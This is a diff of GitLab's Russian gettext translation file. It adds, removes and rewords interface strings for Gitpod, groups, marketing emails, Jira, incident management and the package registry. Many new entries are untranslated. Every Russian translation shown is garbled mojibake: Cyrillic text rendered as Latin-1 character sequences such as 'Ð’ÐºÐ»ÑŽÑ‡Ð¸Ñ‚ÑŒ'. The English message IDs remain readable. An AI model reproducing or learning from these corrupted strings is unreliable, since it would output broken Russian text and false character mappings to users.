@@ -15425,17 +15637,20 @@ msgstr ""
msgid "Gitpod"
msgstr "Gitpod"
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr "Добавьте URL в ваш инÑÑ‚Ð°Ð½Ñ GitLab, наÑтроенный, чтобы читать ваши проекты GitLab."
-
msgid "Gitpod|Enable Gitpod integration"
msgstr "Включить интеграцию Ñ Gitpod"
msgid "Gitpod|Gitpod URL"
msgstr "URL Gitpod"
-msgid "Gitpod|e.g. https://gitpod.example.com"
-msgstr "например, https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
+msgstr ""
msgid "Given access %{time_ago}"
msgstr "ДоÑтуп предоÑтавлен %{time_ago}"
@@ -15467,9 +15682,6 @@ msgstr ""
msgid "Go full screen"
msgstr "Ðа веÑÑŒ Ñкран"
-msgid "Go to Webhooks"
-msgstr "Перейти к веб-обработчикам"
-
msgid "Go to commits"
msgstr "Перейти к коммитам"
@@ -15524,6 +15736,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "Перейти к проекту"
@@ -15602,7 +15817,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15716,6 +15931,9 @@ msgstr ""
msgid "Group info:"
msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ группе:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15776,6 +15994,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15797,14 +16018,17 @@ msgstr "Группа: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
-msgstr "ÐедавнÑÑ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚ÑŒ (за поÑледние 90 дней)"
+msgid "GroupActivityMetrics|Recent activity"
+msgstr ""
msgid "GroupImport|Failed to import group."
msgstr ""
@@ -15866,6 +16090,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "Чтобы раÑширить поиÑк, измените или удалите фильтры; Ñ %{startDate} до %{endDate}."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -16184,9 +16411,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr "Группы Ð´Ð»Ñ Ñинхронизации"
@@ -16223,22 +16447,31 @@ msgstr "Группы не найдены"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Ð’Ñ‹ можете управлÑÑ‚ÑŒ правами и доÑтупом учаÑтников вашей группы к каждому проекту в группе."
-msgid "GroupsNew|Connect instance"
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
msgstr ""
-msgid "GroupsNew|Contact an administrator to enable options for importing your group."
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Connect instance"
+msgstr ""
+
+msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
msgid "GroupsNew|Create group"
msgstr "Создать группу"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16310,7 +16543,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16325,6 +16558,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16337,6 +16573,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16455,9 +16703,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr "Скрыть Ñтап"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Скрыть значение"
@@ -16489,9 +16734,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "ИÑториÑ"
@@ -16576,9 +16818,24 @@ msgstr "Я забыл пароль"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16588,9 +16845,6 @@ msgstr "ID:"
msgid "IDE"
msgstr "IDE"
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Ðазад"
@@ -16744,6 +16998,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16996,6 +17253,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17029,6 +17289,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17041,9 +17304,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17056,6 +17328,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17182,6 +17457,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17221,6 +17499,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17236,10 +17517,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17275,9 +17556,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17353,6 +17643,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17392,6 +17685,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17431,6 +17727,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17446,9 +17745,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17578,8 +17874,8 @@ msgstr "Указывает, может ли Ñтот обработчик зад
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "Сообщать пользователÑм без загруженных SSH ключей, что они не могут отправлÑÑ‚ÑŒ через SSH до тех пор, пока Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ один не будет добавлен"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "Информацию о дополнительных шаблонах Ñтраниц и о том, как их уÑтановить, можно найти в нашем %{pages_getting_started_guide}."
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17777,10 +18073,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17858,7 +18154,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18044,7 +18340,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18278,6 +18574,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "ДоÑки обÑуждений"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr "ОбÑуждение уже было продвинуто до цели."
@@ -18347,12 +18646,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18380,6 +18673,27 @@ msgstr "Переключить доÑку"
msgid "IssueTracker|Custom issue tracker"
msgstr "ПользовательÑÐºÐ°Ñ ÑиÑтема ÐºÐ¾Ð½Ñ‚Ñ€Ð¾Ð»Ñ Ð¾Ð±Ñуждений"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18425,6 +18739,9 @@ msgstr "ОбÑуждениÑми могут быть ошибки, задачи
msgid "Issues closed"
msgstr "ОбÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ñ‹"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18527,6 +18844,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18536,6 +18856,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18569,15 +18895,15 @@ msgstr "не может быть более 500 лет в будущем"
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr ""
-msgid "Jaeger tracing"
-msgstr "ТраÑÑировка Jaeger"
-
msgid "Jan"
msgstr "Янв."
@@ -18599,7 +18925,7 @@ msgstr "Импорт из Jira уже выполнÑетÑÑ."
msgid "Jira integration not configured."
msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ Ñ Jira не наÑтроена."
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18674,6 +19000,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18689,10 +19018,10 @@ msgstr "Jira API URL"
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
-msgstr "Комментарии Jira ÑоздаютÑÑ, когда в коммитах кто-нибудь ÑÑылаетÑÑ Ð½Ð° обÑуждениÑ."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
+msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18779,7 +19108,7 @@ msgstr "URL-адреÑ"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18827,6 +19156,18 @@ msgstr ""
msgid "Job was retried"
msgstr "Задача была перезапущена"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "ЗаданиÑ"
@@ -18842,6 +19183,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18935,6 +19279,9 @@ msgstr "Ñ"
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18968,6 +19315,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18995,9 +19345,30 @@ msgstr "Ключ: %{key}"
msgid "Keyboard shortcuts"
msgstr "Ð¡Ð¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr "Ключи"
@@ -19034,6 +19405,9 @@ msgstr "Ð˜Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ð¸Ñ ÐºÐ»Ð°Ñтера Kubernetes была уÑпешно
msgid "Kubernetes cluster was successfully updated."
msgstr "КлаÑтер Kubernetes был уÑпешно обновлён."
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr "Развёртывание Kubernetes не найдено"
@@ -19278,18 +19652,12 @@ msgstr "ПоÑледнÑÑ ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ Ð´Ð»Ñ Ñамого ÑÐ
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr "Узнайте о GitLab"
@@ -19461,6 +19829,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19497,6 +19871,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr "ЛицензиÑ"
@@ -19999,8 +20376,8 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
-msgstr "Управление функциÑми Web IDE"
+msgid "Manage Web IDE features."
+msgstr ""
msgid "Manage access"
msgstr "УправлÑÑ‚ÑŒ доÑтупом"
@@ -20257,6 +20634,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20344,6 +20724,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr "МакÑимальный размер отправки (Мбайт)"
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr "МакÑимальный размер отдельного коммита."
@@ -20539,6 +20922,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr "СлиÑние"
@@ -20590,9 +20976,6 @@ msgstr ""
msgid "Merge request"
msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние %{iid}, Ñозданный %{authorName}"
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20881,10 +21264,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20987,6 +21370,9 @@ msgstr "Развернуть панель"
msgid "Metrics|For grouping similar metrics"
msgstr "Ð”Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ð¸Ñ€Ð¾Ð²ÐºÐ¸ похожих метрик"
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr "ÐедопуÑтимый промежуток времени, пожалуйÑта, проверьте его."
@@ -21161,12 +21547,12 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
-msgstr ""
-
msgid "Migrated %{success_count}/%{total_count} files."
msgstr "ПеренеÑено %{success_count}/%{total_count} файлов."
+msgid "Migration"
+msgstr ""
+
msgid "Migration has been scheduled to be retried"
msgstr ""
@@ -21423,6 +21809,12 @@ msgstr ""
msgid "Monday"
msgstr "Понедельник"
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21555,6 +21947,9 @@ msgstr "Ðайдено неÑколько типов моделей: %{model_typ
msgid "Multiple uploaders found: %{uploader_types}"
msgstr "Ðайдено неÑколько загрузчиков: %{uploader_types}"
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21582,6 +21977,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr "Ð˜Ð¼Ñ ÑƒÐ¶Ðµ занÑто"
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Ðазвать новую метку"
@@ -21751,9 +22149,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21853,9 +22248,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22205,7 +22597,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22232,6 +22624,9 @@ msgstr ""
msgid "No data to display"
msgstr "Ðет данных Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ"
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr "Ð Ð°Ð·Ð²Ñ‘Ñ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð½Ðµ найдены"
@@ -22445,6 +22840,9 @@ msgstr "ПуÑто"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22779,6 +23177,9 @@ msgstr "О, нет!"
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr "Сначала Ñтарые"
@@ -23161,7 +23562,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23260,7 +23661,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23326,6 +23727,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23353,6 +23757,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Добавить иÑточник NuGet"
@@ -23395,6 +23802,9 @@ msgstr "Копировать команду наÑтройки Conan"
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Копировать XML Ð´Ð»Ñ Maven"
@@ -23416,6 +23826,9 @@ msgstr "Копировать команду pip"
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "Скопируйте Ñто и вÑтавьте в блок %{codeStart}dependencies%{codeEnd} вашего %{codeStart}pom.xml%{codeEnd}."
@@ -23467,9 +23880,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "ЕÑли вы еще не Ñделали Ñтого, вам нужно будет добавить нижераÑположенное в Ñвой файл %{codeStart}.pypirc%{codeEnd}."
@@ -23479,6 +23901,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23494,6 +23919,9 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Команда Maven"
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -23539,6 +23967,9 @@ msgstr "Удалить пакет"
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
